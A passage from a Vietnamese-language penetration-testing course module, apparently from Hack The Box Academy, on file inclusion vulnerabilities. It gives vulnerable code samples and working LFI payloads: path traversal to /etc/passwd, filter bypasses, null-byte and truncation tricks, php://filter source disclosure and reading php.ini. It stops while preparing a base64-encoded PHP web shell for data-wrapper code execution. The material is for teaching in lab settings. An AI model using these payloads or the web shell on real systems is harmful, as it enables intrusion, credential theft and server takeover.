Module

Introduction
Intro to File Inclusions
Nhiều ngôn ngữ back-end hiện đại như PHP, JavaScript hay Java sử dụng tham số HTTP để quyết định nội dung hiển thị trên trang web. Cách làm này cho phép xây dựng trang động, giảm kích thước tổng thể của script và đơn giản hóa mã nguồn. Trong các trường hợp như vậy, tham số được dùng để chỉ định tài nguyên nào sẽ được hiển thị. Nếu chức năng này không được lập trình an toàn, kẻ tấn công có thể thao túng tham số để hiển thị nội dung của bất kỳ tệp cục bộ nào trên máy chủ lưu trữ, dẫn đến lỗ hổng Local File Inclusion (LFI).
Local File Inclusion (LFI)
Nơi thường gặp LFI nhất là engine template. Để hầu hết giao diện ứng dụng web trông đồng nhất khi điều hướng giữa các trang, engine template sẽ hiển thị một trang có các phần tĩnh chung như header, thanh điều hướng và footer, rồi động nạp phần nội dung thay đổi giữa các trang. Nếu không, mỗi trang trên máy chủ sẽ phải sửa mỗi khi phần tĩnh thay đổi. Vì vậy ta hay thấy tham số như /index.php?page=about, trong đó index.php thiết lập nội dung tĩnh (ví dụ header/footer) và chỉ nạp phần nội dung động được chỉ định bởi tham số — ở đây có thể là tệp about.php. Do ta kiểm soát phần about trong request, có thể khiến ứng dụng web lấy các tệp khác và hiển thị chúng.
LFI có thể dẫn đến lộ mã nguồn, lộ dữ liệu nhạy cảm, và thậm chí thực thi mã từ xa trong một số điều kiện. Lộ mã nguồn cho phép kẻ tấn công kiểm thử để tìm thêm lỗ hổng, có thể phát hiện các vấn đề chưa biết trước. Hơn nữa, lộ dữ liệu nhạy cảm có thể giúp kẻ tấn công liệt kê máy chủ từ xa để tìm điểm yếu khác, hoặc lộ thông tin xác thực/khóa cho phép truy cập trực tiếp máy chủ. Trong những điều kiện nhất định, LFI cũng có thể cho phép thực thi mã trên máy chủ, từ đó xâm phạm toàn bộ máy chủ back-end và các máy chủ liên quan.
Ví dụ mã dễ bị tấn công
Hãy xem vài ví dụ về mã dễ bị File Inclusion để hiểu lỗ hổng xuất hiện ra sao. Như đã nói, File Inclusion có thể xảy ra trên nhiều web server và framework phổ biến như PHP, NodeJS, Java, .NET và nhiều nền tảng khác. Mỗi nền tảng có cách nạp tệp theo đường dẫn hơi khác nhau, nhưng điểm chung là tải một tệp từ đường dẫn được chỉ định.
Tệp này có thể là header động hoặc nội dung khác nhau dựa trên ngôn ngữ do người dùng chọn. Ví dụ, trang có tham số GET ?language; nếu người dùng đổi ngôn ngữ trong menu thả xuống, trang vẫn là trang đó nhưng với tham số khác (ví dụ ?language=es). Trong các trường hợp này, đổi ngôn ngữ có thể làm đổi thư mục mà ứng dụng nạp trang (ví dụ /en/ hoặc /es/). Nếu ta kiểm soát đường dẫn được nạp, ta có thể khai thác để đọc các tệp khác và tiềm ẩn đạt tới thực thi mã từ xa.
PHP
Trong PHP, ta có thể dùng include() để nạp tệp cục bộ hoặc từ xa khi tải trang. Nếu đường dẫn truyền vào include() lấy từ tham số do người dùng kiểm soát (như tham số GET) và mã không lọc/làm sạch đầu vào, thì mã đó dễ bị File Inclusion. Ví dụ:
if (isset($_GET['language'])) {
include($_GET['language']);
}
Ta thấy tham số language được truyền trực tiếp vào include(). Vì vậy bất kỳ đường dẫn nào ta truyền trong language sẽ được nạp lên trang, bao gồm cả các tệp cục bộ trên máy chủ. Điều này không chỉ giới hạn ở include(): nhiều hàm PHP khác cũng gây ra lỗ hổng tương tự nếu ta kiểm soát đường dẫn truyền vào, như include_once(), require(), require_once(), file_get_contents(), và một số hàm khác.
Lưu ý: Trong mô-đun này, ta chủ yếu tập trung vào ứng dụng web PHP chạy trên máy chủ Linux. Tuy nhiên, hầu hết kỹ thuật/tấn công cũng áp dụng cho đa số framework khác, nên ví dụ tương tự nếu ứng dụng viết bằng ngôn ngữ khác.
NodeJS
Tương tự PHP, máy chủ NodeJS cũng có thể nạp nội dung dựa trên tham số HTTP. Ví dụ cơ bản: dùng tham số GET language để quyết định dữ liệu ghi ra trang:
if(req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
Ở đây, bất cứ tham số nào trong URL được dùng bởi readFile, sau đó viết nội dung tệp vào phản hồi HTTP. Một ví dụ khác là hàm render() trong framework Express.js. Ví dụ sau dùng tham số language để quyết định thư mục chứa trang about.html:
app.get("/about/:language", function(req, res) {
res.render(`/${req.params.language}/about.html`);
});
Khác với ví dụ trước (tham số GET sau dấu ?), ví dụ này lấy tham số từ đường dẫn URL (ví dụ /about/en hoặc /about/es). Vì tham số được dùng trực tiếp trong render() để chỉ định tệp render, ta có thể đổi URL để hiển thị tệp khác.
Java
Ý tưởng tương tự áp dụng cho nhiều máy chủ web khác. Ví dụ sau cho thấy ứng dụng Java (JSP) có thể bao gồm tệp cục bộ dựa trên tham số, dùng include:
<c:if test="${not empty param.language}">
<jsp:include file="<%= request.getParameter('language') %>" />
</c:if>
Hàm include có thể nhận tệp hoặc URL của trang làm đối số rồi render vào template front-end, tương tự NodeJS. Hàm import cũng có thể dùng để render tệp cục bộ hoặc URL, ví dụ:
<c:import url= "<%= request.getParameter('language') %>"/>
.NET
Cuối cùng, ví dụ về cách File Inclusion có thể xảy ra trong ứng dụng .NET. Response.WriteFile hoạt động rất giống các ví dụ trước: nhận đường dẫn tệp và ghi nội dung của nó vào phản hồi. Đường dẫn có thể lấy từ tham số GET để nạp nội dung động:
@if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) {
<% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %>
}
Ngoài ra, @Html.Partial() cũng có thể render tệp chỉ định như một phần của template front-end, tương tự đã thấy:
@Html.Partial(HttpContext.Request.Query['language'])
Cuối cùng, include cũng có thể dùng để render tệp cục bộ hoặc URL từ xa, và thậm chí thực thi tệp chỉ định:
<!--#include file="<% HttpContext.Request.Query['language'] %>"-->
Đọc vs Thực thi
Từ các ví dụ trên, ta thấy File Inclusion có thể xảy ra trên bất kỳ web server hay framework nào, vì tất cả đều hỗ trợ nội dung động và xử lý template front-end.
Điều quan trọng: một số hàm chỉ đọc nội dung tệp, trong khi một số khác còn thực thi tệp được chỉ định. Hơn nữa, có hàm cho phép chỉ định URL từ xa, có hàm chỉ hoạt động với tệp cục bộ.
Bảng sau cho thấy hàm nào có thể thực thi tệp và hàm nào chỉ đọc nội dung:
| Nền tảng | Hàm | Đọc nội dung | Thực thi URL từ xa |
| PHP | |||
| include()/include_once() | ✅ | ✅ | ✅ |
| require()/require_once() | ✅ | ✅ | ❌ |
| file_get_contents() | ✅ | ❌ | ✅ |
| fopen()/file() | ✅ | ❌ | ❌ |
| NodeJS | |||
| fs.readFile() | ✅ | ❌ | ❌ |
| fs.sendFile() | ✅ | ❌ | ❌ |
| res.render() | ✅ | ✅ | ❌ |
| Java | |||
| include | ✅ | ❌ | ❌ |
| import | ✅ | ✅ | ✅ |
| .NET | |||
| @Html.Partial() | ✅ | ❌ | ❌ |
| @Html.RemotePartial() | ✅ | ❌ | ✅ |
| Response.WriteFile() | ✅ | ❌ | ❌ |
| include | ✅ | ✅ | ✅ |
Sự khác biệt này rất quan trọng, vì thực thi tệp có thể dẫn đến thực thi hàm và cuối cùng là thực thi mã, trong khi chỉ đọc thì chỉ cho phép xem mã nguồn mà không thực thi. Hơn nữa, nếu ta có quyền xem mã nguồn (whitebox/code audit), việc biết các hành vi này giúp nhận diện các điểm có khả năng File Inclusion, đặc biệt khi có đầu vào do người dùng kiểm soát đi vào các hàm đó.
Trong mọi trường hợp, File Inclusion là lỗ hổng nghiêm trọng và có thể dẫn đến xâm phạm toàn bộ máy chủ back-end. Ngay cả khi ta chỉ đọc được mã nguồn ứng dụng web, điều đó vẫn có thể đủ để xâm phạm ứng dụng, vì nó có thể lộ các lỗ hổng khác như đã nói, và mã nguồn cũng có thể chứa khóa CSDL, tài khoản quản trị, hoặc thông tin nhạy cảm khác.
File Disclosure
Local File Inclusion (LFI)
Bây giờ khi đã hiểu File Inclusion là gì và vì sao xảy ra, ta có thể bắt đầu học cách khai thác lỗ hổng này trong các kịch bản khác nhau để đọc nội dung các tệp cục bộ trên máy chủ back-end.
LFI cơ bản
Bài thực hành ở cuối phần này cho ta một ví dụ về web app cho phép người dùng đặt ngôn ngữ là Tiếng Anh hoặc Tiếng Tây Ban Nha:

Nếu ta chọn một ngôn ngữ (ví dụ Spanish), phần nội dung sẽ đổi sang tiếng Tây Ban Nha:

Ta cũng thấy URL có tham số language đặt bằng ngôn ngữ vừa chọn (es.php). Có vài cách để nội dung được đổi theo ngôn ngữ chỉ định: có thể web app truy vấn một bảng CSDL khác theo tham số, hoặc nạp hẳn một phiên bản ứng dụng khác. Tuy nhiên, như đã thảo luận, cách dễ và phổ biến nhất là dùng template để nạp một phần trang.
Vì vậy, nếu ứng dụng thực sự đang kéo một tệp để include vào trang, ta có thể đổi tệp được nạp để đọc nội dung của tệp cục bộ khác. Hai tệp thường đọc được sẵn có trên đa số máy chủ là /etc/passwd (Linux) và C:\Windows\boot.ini (Windows). Hãy đổi tham số từ es sang /etc/passwd:

Như thấy, trang dính lỗ hổng và ta đọc được nội dung tệp passwd, qua đó xác định các user tồn tại trên máy chủ back-end.
Path Traversal (duyệt đường dẫn)
Ở ví dụ trước, ta đọc tệp bằng cách chỉ định đường dẫn tuyệt đối (ví dụ /etc/passwd). Cách này sẽ hoạt động nếu toàn bộ input được dùng trong hàm include() mà không bị thêm bớt gì, như:
include($_GET['language']);
Trường hợp này, nếu ta thử đọc /etc/passwd thì include() sẽ lấy trực tiếp tệp đó. Tuy nhiên, nhiều khi lập trình viên sẽ nối thêm chuỗi vào tham số language. Ví dụ tham số được dùng làm tên tệp và đặt sau một thư mục:
include("./languages/" . $_GET['language']);
Khi đó, nếu ta thử đọc /etc/passwd, đường dẫn truyền vào include() sẽ là ./languages//etc/passwd; vì tệp này không tồn tại, ta sẽ không đọc được gì:

Lưu ý: Ở web app này, PHP errors chỉ bật phục vụ học tập để ta hiểu ứng dụng xử lý input của ta thế nào. Trên môi trường production, không nên hiển thị lỗi như vậy. Hơn nữa, các tấn công của ta không phụ thuộc vào lỗi — chúng vẫn thực hiện được dù không có lỗi hiển thị.
Ta có thể bypass ràng buộc này bằng cách traversal qua thư mục cha với đường dẫn tương đối. Thêm ../ trước tên tệp để chỉ thư mục cha. Ví dụ, nếu đường dẫn đầy đủ của thư mục languages là /var/www/html/languages/, thì dùng ../index.php sẽ tham chiếu tới tệp index.php ở thư mục cha (tức /var/www/html/index.php).
Vì vậy, ta đi lùi vài cấp cho đến root (/), rồi chỉ định đường dẫn tuyệt đối (ví dụ ../../../../etc/passwd) — tệp sẽ tồn tại:

Như thấy, lần này ta đọc được tệp bất kể đang ở thư mục nào. Thủ thuật này cũng hoạt động ngay cả khi toàn bộ tham số được dùng trong include(), nên ta có thể mặc định dùng kỹ thuật này — áp dụng được cho cả hai trường hợp. Hơn nữa, nếu đang ở root / mà dùng ../ thì vẫn ở /. Do đó nếu không chắc ứng dụng nằm ở đâu, ta có thể thêm rất nhiều ../ — đường dẫn không bị hỏng (dù thêm cả trăm lần!).
Mẹo: Hãy tối giản số ../ — nhất là khi viết báo cáo hay khai thác — tìm số tối thiểu cần thiết. Ta cũng có thể tính ta cách bao nhiêu thư mục so với root và dùng bấy nhiêu ../. Ví dụ với /var/www/html/ là 3 cấp, vậy dùng ../../../.
Tiền tố tên tệp (Filename Prefix)
Ở ví dụ trước, tham số language nằm sau thư mục nên ta có thể traversal để đọc passwd. Đôi khi input lại bị nối sau một tiền tố để tạo tên tệp đầy đủ, như:
include("lang_" . $_GET['language']);
Khi đó, nếu ta thử ../../../etc/passwd, chuỗi cuối cùng sẽ là lang_../../../etc/passwd — không hợp lệ:

Vì vậy, thay vì traversal trực tiếp, ta có thể thêm dấu / ở đầu payload, khiến tiền tố trở thành một thư mục, từ đó bỏ qua tiền tố và traversal được:

Lưu ý: Cách này không phải lúc nào cũng hoạt động, vì trong ví dụ này có thể không tồn tại thư mục tên lang_/, dẫn đến đường dẫn tương đối sai. Hơn nữa, bất kỳ tiền tố nào nối vào input cũng có thể làm hỏng một số kỹ thuật File Inclusion sẽ nói ở các phần sau (ví dụ PHP wrappers/filters hoặc RFI).
Phần mở rộng được nối thêm (Appended Extensions)
Một ví dụ rất phổ biến nữa là khi phần mở rộng (extension) được nối vào tham số:
include($_GET['language'] . ".php");
Cách này khá thường gặp vì giúp ta khỏi phải viết extension mỗi lần đổi ngôn ngữ, và có vẻ an toàn hơn vì chỉ include được các tệp .php. Trong trường hợp này, nếu ta thử đọc /etc/passwd, tệp được include sẽ là /etc/passwd.php — không tồn tại:

Có nhiều kỹ thuật để bypass, ta sẽ bàn ở các phần sau.
Bài tập: Hãy thử đọc một tệp .php (ví dụ index.php) qua LFI và xem bạn nhận được mã nguồn hay tệp bị render thành HTML.
Second-Order Attacks (tấn công bậc hai)
Như thấy, tấn công LFI có nhiều biến thể. Một biến thể khá phổ biến và nâng cao là Second-Order Attack. Điều này xảy ra vì nhiều chức năng web có thể không an toàn khi kéo tệp từ máy chủ dựa trên tham số do người dùng kiểm soát.
Ví dụ: một web app cho phép tải avatar qua URL dạng /profile/$username/avatar.png. Nếu ta tạo username độc hại (ví dụ ../../../etc/passwd), có thể đổi tệp được kéo sang tệp cục bộ khác và lấy nó thay vì avatar.
Trong trường hợp này, ta “đầu độc” bản ghi trong CSDL bằng payload LFI đặt ở username. Sau đó một chức năng khác của ứng dụng sẽ sử dụng bản ghi đã bị đầu độc để thực hiện tấn công cho ta (ví dụ tải avatar dựa trên username). Vì thế nó được gọi là tấn công bậc hai.
Lập trình viên thường bỏ sót kiểu lỗ hổng này: họ phòng vệ với input trực tiếp (như tham số ?page) nhưng lại tin tưởng giá trị lấy từ CSDL (như username). Nếu ta chèn được username khi đăng ký, tấn công sẽ khả thi.
Khai thác LFI bằng second-order về cơ bản giống các kỹ thuật đã bàn ở phần này. Khác biệt duy nhất là ta cần phát hiện một chức năng kéo tệp dựa trên giá trị ta kiểm soát gián tiếp, rồi tìm cách kiểm soát giá trị đó để khai thác.
Lưu ý: Tất cả kỹ thuật trong phần này áp dụng cho mọi lỗ hổng LFI, bất kể ngôn ngữ hay framework back-end.
Trả lời câu hỏi

Basic Bypasses
Ở phần trước, ta đã xem nhiều kiểu tấn công có thể dùng cho các dạng LFI khác nhau. Trong nhiều trường hợp, ứng dụng web áp dụng nhiều biện pháp bảo vệ chống file inclusion, khiến payload LFI thông thường không hiệu quả. Tuy vậy, trừ khi ứng dụng thực sự xử lý an toàn đầu vào liên quan LFI, ta vẫn có thể bypass những biện pháp đó để đạt được file inclusion.
Bộ lọc Path Traversal không đệ quy
Một bộ lọc cơ bản chống LFI là tìm-và-thay để xóa chuỗi con ../ nhằm chặn path traversal. Ví dụ:
$language = str_replace('../', '', $_GET['language']);
Đoạn code trên nhằm ngăn path traversal, qua đó vô hiệu hóa LFI. Nếu ta thử payload LFI như ở phần trước, sẽ được:

Ta thấy tất cả ../ đã bị xóa, dẫn tới đường dẫn cuối cùng là ./languages/etc/passwd. Tuy nhiên, bộ lọc này rất kém an toàn, vì không đệ quy: nó chỉ chạy một lần trên chuỗi đầu vào, không áp dụng tiếp lên kết quả sau lọc. Ví dụ, nếu ta dùng payload ....//, bộ lọc sẽ xóa ../ và chuỗi đầu ra thành ../, tức là ta vẫn traversal được. Hãy áp dụng logic này để include lại /etc/passwd:

Chuỗi ....// không phải bypass duy nhất: ta có thể dùng ..././, ....\/ và nhiều biến thể đệ quy khác. Ngoài ra, trong một số trường hợp, escape dấu gạch chéo / (ví dụ ....\/) hoặc thêm nhiều dấu / (ví dụ ....////) cũng có thể né được bộ lọc traversal.
Mã hóa (Encoding)
Một số web filter chặn các ký tự “đen” liên quan LFI như dấu chấm . hay gạch chéo / dùng cho traversal. Tuy nhiên, có thể bypass bằng URL-encode đầu vào, để chuỗi không còn chứa ký tự bị chặn, nhưng khi vào tới hàm dễ tổn thương, nó sẽ được giải mã về chuỗi traversal. Các bộ lọc cốt lõi của PHP ≤ 5.3.4 đặc biệt dễ bị cách này, nhưng ngay cả bản mới hơn vẫn có thể gặp filter tự viết bị bypass bởi URL encoding.
Nếu ứng dụng không cho phép . và /, ta có thể encode ../ thành %2e%2e%2f, có thể qua các công cụ online hoặc Burp Suite Decoder.

Lưu ý: Để hiệu quả, ta phải encode tất cả ký tự, kể cả dấu chấm. Một số encoder không mã hóa dấu chấm vì coi là một phần của URL scheme.
Thử dùng payload đã encode với ứng dụng lọc chuỗi ../:

Ngoài ra, có thể double-encode chuỗi (mã hóa lần nữa) để vượt qua các loại filter khác.
Có thể tham khảo mô-đun Command Injections để biết thêm cách bypass các ký tự bị blacklist — những kỹ thuật đó cũng áp dụng cho LFI.
Đường dẫn “được chấp thuận” (Approved Paths)
Một số ứng dụng dùng Regex để đảm bảo tệp được include nằm dưới một đường dẫn cụ thể. Ví dụ, chỉ chấp nhận đường dẫn dưới ./languages:
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
include($_GET['language']);
} else {
echo 'Illegal path specified!';
}
Để tìm đường dẫn hợp lệ, ta xem các request do form sẵn có gửi đi dùng path gì cho chức năng bình thường. Ta cũng có thể fuzz các thư mục con dưới cùng path và thử cho tới khi match. Để bypass, ta bắt đầu payload bằng đường dẫn hợp lệ, rồi dùng ../ để trở về root và chỉ định tệp mong muốn, ví dụ:

Một số ứng dụng còn kết hợp bộ lọc này với các bộ lọc trước, vì vậy có thể cần kết hợp kỹ thuật: bắt đầu bằng path hợp lệ, sau đó URL-encode hoặc dùng payload đệ quy.
Lưu ý: Các kỹ thuật nêu đến đây hoạt động với mọi LFI, bất kể ngôn ngữ hay framework back-end.
Hậu tố phần mở rộng (Appended Extension)
Như đã bàn ở phần trước, một số ứng dụng tự động nối phần mở rộng (ví dụ .php) vào input để đảm bảo chỉ include đúng “loại tệp” mong muốn. Với PHP hiện đại, ta khó bypass điều này và sẽ bị giới hạn chỉ đọc được tệp có extension đó — nhưng vẫn hữu ích (ví dụ để đọc mã nguồn), ta sẽ thấy ở phần kế tiếp.
Có vài kỹ thuật khác chỉ hiệu quả trên PHP cũ (trước 5.3/5.4). Dù đã lỗi thời, vẫn đáng nhắc tới vì có ứng dụng chạy trên máy chủ cũ, và đôi khi chỉ những kỹ thuật này mới bypass được.
Cắt ngắn đường dẫn (Path Truncation)
Ở các phiên bản PHP cũ, độ dài tối đa của chuỗi tĩnh là 4096 ký tự (khả năng do hạn chế hệ 32-bit). Nếu truyền chuỗi dài hơn, nó sẽ bị cắt ngắn, các ký tự sau giới hạn bị bỏ qua. Thêm nữa, PHP từng loại bỏ dấu gạch chéo cuối và dấu chấm đơn trong tên đường dẫn; ví dụ gọi /etc/passwd/. thì phần /. cũng bị cắt, PHP sẽ gọi /etc/passwd. PHP (và Linux nói chung) không phân biệt nhiều dấu / liên tiếp (ví dụ ////etc/passwd tương đương /etc/passwd). Tương tự, ký hiệu thư mục hiện tại . ở giữa đường dẫn cũng bị bỏ qua (ví dụ /etc/./passwd).
Kết hợp các hạn chế này, ta có thể tạo chuỗi rất dài nhưng đánh giá thành một đường dẫn hợp lệ. Khi đạt 4096 ký tự, phần mở rộng nối thêm .php sẽ bị cắt bỏ, và còn lại đường dẫn không có extension. Lưu ý, ta cần bắt đầu bằng một thư mục không tồn tại để kỹ thuật này hoạt động.
Ví dụ payload:
?language=non_existing_directory/../../../etc/passwd/./././././ REPEATED ~2048 times]
(Tất nhiên không phải gõ tay ./ 2048 lần; ta có thể tự động hóa bằng lệnh:)
H4DUYLONG@htb[/htb]$ echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done
non_existing_directory/../../../etc/passwd/./././<SNIP>././././
Ta cũng có thể tăng số lượng ../; thêm bao nhiêu cũng về root như phần trước đã giải thích. Tuy nhiên, nếu dùng cách này, hãy tính độ dài toàn chuỗi để đảm bảo chỉ .php bị cắt, không phải phần tên tệp cuối (/etc/passwd). Vì vậy cách đầu tiên (lặp ./) dễ kiểm soát hơn.
Null Byte
PHP trước 5.5 dễ bị null byte injection: thêm null byte (%00) ở cuối chuỗi sẽ kết thúc chuỗi, phần sau bị bỏ qua. Đây là do cách chuỗi được lưu trong bộ nhớ mức thấp (Assembly/C/C++), dùng null byte để đánh dấu kết thúc.
Để khai thác, ta kết thúc payload bằng null byte, ví dụ /etc/passwd%00, khiến đường dẫn truyền vào include() là /etc/passwd%00.php. Khi đó, dù .php được nối thêm, mọi thứ sau null byte bị cắt, đường dẫn thực sự dùng là /etc/passwd, nhờ đó bypass được phần mở rộng nối thêm.
Trả lời câu hỏi

PHP Filters
Nhiều ứng dụng web phổ biến được phát triển bằng PHP, cùng vô số ứng dụng tùy chỉnh xây trên các framework như Laravel hay Symfony. Nếu phát hiện lỗ hổng LFI trong ứng dụng PHP, ta có thể tận dụng PHP Wrappers để mở rộng khả năng khai thác, thậm chí có thể tiến tới remote code execution.
PHP Wrappers cho phép truy cập các luồng I/O ở mức ứng dụng, như stdin/stdout, file descriptors và memory streams. Điều này rất hữu ích cho lập trình viên PHP; còn với pentester web, ta có thể dùng các wrapper này để đọc mã nguồn PHP hoặc thậm chí thực thi lệnh hệ thống. Không chỉ có LFI, các wrapper cũng hữu ích với các tấn công web khác như XXE (trong mô-đun Web Attacks).
Trong phần này, ta sẽ xem cách dùng PHP filters cơ bản để đọc mã nguồn PHP; ở phần sau, ta sẽ thấy cách các PHP wrappers khác giúp đạt RCE thông qua LFI.
Input Filters (Bộ lọc đầu vào)
PHP Filters là một loại PHP wrapper: ta có thể truyền nhiều kiểu đầu vào và cho chúng đi qua bộ lọc do ta chỉ định. Để dùng stream wrapper, ta sẽ dùng scheme php:// trong chuỗi; wrapper filter được truy cập qua php://filter/.
Wrapper filter có vài tham số, nhưng hai tham số chính ta cần là resource và read:
- resource: bắt buộc, dùng để chỉ định stream muốn áp dụng filter (ví dụ một tệp cục bộ).
- read: áp dụng các bộ lọc khác nhau lên resource, ta dùng nó để chỉ định filter nào sẽ áp dụng.
Có bốn nhóm filter: String Filters, Conversion Filters, Compression Filters, và Encryption Filters. Với LFI, filter hữu ích nhất là convert.base64-encode (thuộc Conversion Filters).
Fuzzing tìm các tệp PHP
Bước đầu, ta fuzz các trang PHP hiện có bằng ffuf hoặc gobuster (xem mô-đun Attacking Web Applications with Ffuf):
H4DUYLONG@htb[/htb]$ ffuf -w /opt/useful/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php
...SNIP...
index [Status: 200, Size: 2652, Words: 690, Lines: 64]
config [Status: 302, Size: 0, Words: 1, Lines: 1]
Mẹo: Khác với việc duyệt web bình thường, ở đây ta không bị giới hạn ở mã phản hồi HTTP 200. Vì có LFI, ta nên quét mọi mã (kể cả 301, 302, 403) — ta vẫn có thể đọc mã nguồn của chúng.
Ngay cả sau khi đọc được mã nguồn một số tệp, ta có thể quét tiếp trong nội dung để tìm các tệp PHP được tham chiếu, rồi lại đọc tiếp, cho đến khi thu được phần lớn mã nguồn ứng dụng hoặc hiểu chính xác ứng dụng làm gì. Ta cũng có thể bắt đầu từ index.php, quét tham chiếu trong đó và lần theo; tuy nhiên fuzzing có thể lộ ra các tệp mà cách lần theo tham chiếu không thấy.
Include PHP theo cách thông thường
Ở các phần trước, nếu bạn thử include tệp .php thông qua LFI, bạn sẽ thấy tệp PHP đó được thực thi, rồi render thành trang HTML bình thường. Thí dụ, thử include config.php (ứng dụng tự nối phần mở rộng .php):

Ta thấy vị trí chuỗi LFI trả về trống, có lẽ vì config.php chỉ thiết lập cấu hình và không in HTML.
Điều này đôi khi hữu ích (như khi truy cập các trang PHP nội bộ — kiểu SSRF), nhưng đa số trường hợp ta quan tâm là đọc mã nguồn thông qua LFI (vì mã nguồn thường tiết lộ thông tin quan trọng). Lúc này PHP filter base64 phát huy tác dụng: mã hóa base64 tệp PHP để nhận về chuỗi đã mã hóa, thay vì thực thi/render. Đặc biệt hữu ích khi LFI bị nối đuôi .php — ta bị giới hạn chỉ include được tệp PHP như đã bàn.
Lưu ý: Điều tương tự áp dụng với các ngôn ngữ web khác PHP miễn là hàm dễ tổn thương có khả năng thực thi tệp. Nếu không có thực thi, ta sẽ nhận trực tiếp mã nguồn, không cần filter/phương thức bổ sung. Xem bảng hàm ở phần 1 để biết hàm nào có quyền gì.
Tiết lộ mã nguồn (Source Code Disclosure)
Khi đã có danh sách tệp PHP cần đọc, ta bắt đầu tiết lộ mã nguồn bằng filter base64. Hãy đọc mã của config.php bằng cách chỉ định read=convert.base64-encode và resource=config như sau:
php://filter/read=convert.base64-encode/resource=config
Gọi qua tham số LFI:

Lưu ý: Cố tình để tên resource ở cuối chuỗi, vì ứng dụng tự nối .php vào cuối input, khiến resource ta chỉ định trở thành config.php.
Khác với LFI thường, lần này ta nhận về chuỗi base64 thay vì kết quả trống. Ta có thể giải mã để lấy nội dung mã nguồn của config.php:
H4DUYLONG@htb[/htb]$ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d
...SNIP...
if ($_SERVER['REQUEST_METHOD'] == 'GET' && realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
header('HTTP/1.0 403 Forbidden', TRUE, 403);
die(header('location: /index.php'));
}
...SNIP...
Mẹo: Khi copy chuỗi base64, hãy copy đủ toàn bộ; thiếu ký tự sẽ không giải mã hết. Mở page source để đảm bảo copy đầy đủ.
Giờ ta có thể soi tệp này để tìm thông tin nhạy cảm (credential, database keys), đồng thời xác định các tham chiếu tiếp theo để tiếp tục đọc mã nguồn các tệp liên quan.
Trả lời câu hỏi
Remote Code Execution
PHP Wrappers
Cho đến giờ trong mô-đun này, ta đã khai thác lỗ hổng file inclusion để lộ các tệp cục bộ bằng nhiều cách khác nhau. Từ phần này, ta sẽ bắt đầu học cách dùng lỗ hổng file inclusion để thực thi mã trên máy chủ back-end và giành quyền kiểm soát chúng.
Có rất nhiều cách để thực thi lệnh từ xa, mỗi cách phù hợp cho một bối cảnh cụ thể vì còn phụ thuộc vào ngôn ngữ/framework phía sau và khả năng của hàm dễ tổn thương. Một cách dễ và phổ biến để kiểm soát máy chủ back-end là liệt kê thông tin xác thực người dùng và khóa SSH, rồi dùng chúng để đăng nhập vào máy chủ qua SSH hoặc phiên từ xa khác. Ví dụ, ta có thể tìm thấy mật khẩu cơ sở dữ liệu trong một tệp như config.php, và mật khẩu đó có thể trùng với mật khẩu người dùng nếu họ tái sử dụng. Hoặc ta kiểm tra thư mục .ssh trong thư mục nhà (home) của từng người dùng; nếu quyền đọc bị cấu hình sai, ta có thể lấy khóa riêng (id_rsa) và dùng nó để SSH vào hệ thống.
Ngoài những cách “trivial” như vậy, vẫn có những phương pháp đạt RCE (Remote Code Execution – thực thi mã từ xa) trực tiếp thông qua chính hàm dễ tổn thương mà không phụ thuộc vào việc liệt kê dữ liệu hay quyền file cục bộ. Trong phần này, ta sẽ bắt đầu với RCE trên các ứng dụng web PHP. Ta sẽ xây dựng tiếp từ phần trước và tận dụng các PHP Wrapper khác nhau để đạt được RCE. Sau đó, ở các phần tiếp theo, ta sẽ học những phương pháp khác có thể dùng cho PHP và cả các ngôn ngữ khác.
Data
Wrapper data có thể dùng để include dữ liệu bên ngoài, bao gồm cả mã PHP. Tuy nhiên, wrapper data chỉ dùng được nếu tùy chọn cấu hình PHP allow_url_include đang bật. Vậy nên, đầu tiên hãy xác nhận tùy chọn này có bật không bằng cách đọc tệp cấu hình PHP thông qua lỗ hổng LFI.
Kiểm tra cấu hình PHP
Ta có thể include tệp cấu hình PHP ở đường dẫn /etc/php/X.Y/apache2/php.ini (cho Apache) hoặc /etc/php/X.Y/fpm/php.ini (cho Nginx), trong đó X.Y là phiên bản PHP cài đặt. Hãy thử với phiên bản mới nhất trước, nếu không thấy thì lùi về các phiên bản cũ hơn. Ta cũng sẽ dùng bộ lọc base64 như ở phần trước, vì các tệp .ini tương tự .php và nên được mã hóa để tránh “vỡ” nội dung khi hiển thị. Cuối cùng, ta sẽ dùng cURL hoặc Burp thay vì trình duyệt, do chuỗi đầu ra có thể rất dài và ta cần bắt trọn:
H4DUYLONG@htb[/htb]$ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
<!DOCTYPE html>
<html lang="en">
...SNIP...
<h2>Containers</h2>
W1BIUF0KCjs7Ozs7Ozs7O
...SNIP...
4KO2ZmaS5wcmVsb2FkPQo=
<p class="read-more">
Sau khi có chuỗi base64, ta giải mã và grep allow_url_include để xem giá trị:
H4DUYLONG@htb[/htb]$ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include
allow_url_include = On
Tuyệt vời! Tùy chọn này đang bật, vậy ta có thể dùng wrapper data. Biết cách kiểm tra allow_url_include rất quan trọng, vì mặc định nó tắt, nhưng lại cần cho nhiều tấn công LFI khác, như dùng wrapper input hoặc bất kỳ tấn công RFI nào (như ta sẽ thấy). Không hiếm khi tùy chọn này được bật, vì nhiều ứng dụng web phụ thuộc vào nó để hoạt động (ví dụ một số plugin/theme WordPress).
Thực thi mã từ xa
Khi allow_url_include bật, ta có thể tiến hành tấn công với wrapper data. Như đã nói, data cho phép include dữ liệu bên ngoài, kể cả mã PHP. Ta có thể truyền chuỗi base64 với text/plain;base64, và nó sẽ giải mã rồi thực thi mã PHP.
Bước đầu, base64-encode một web shell PHP cơ bản:
H4DUYLONG@htb[/htb]$ echo '<?php system($_GET["cmd"]); ?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
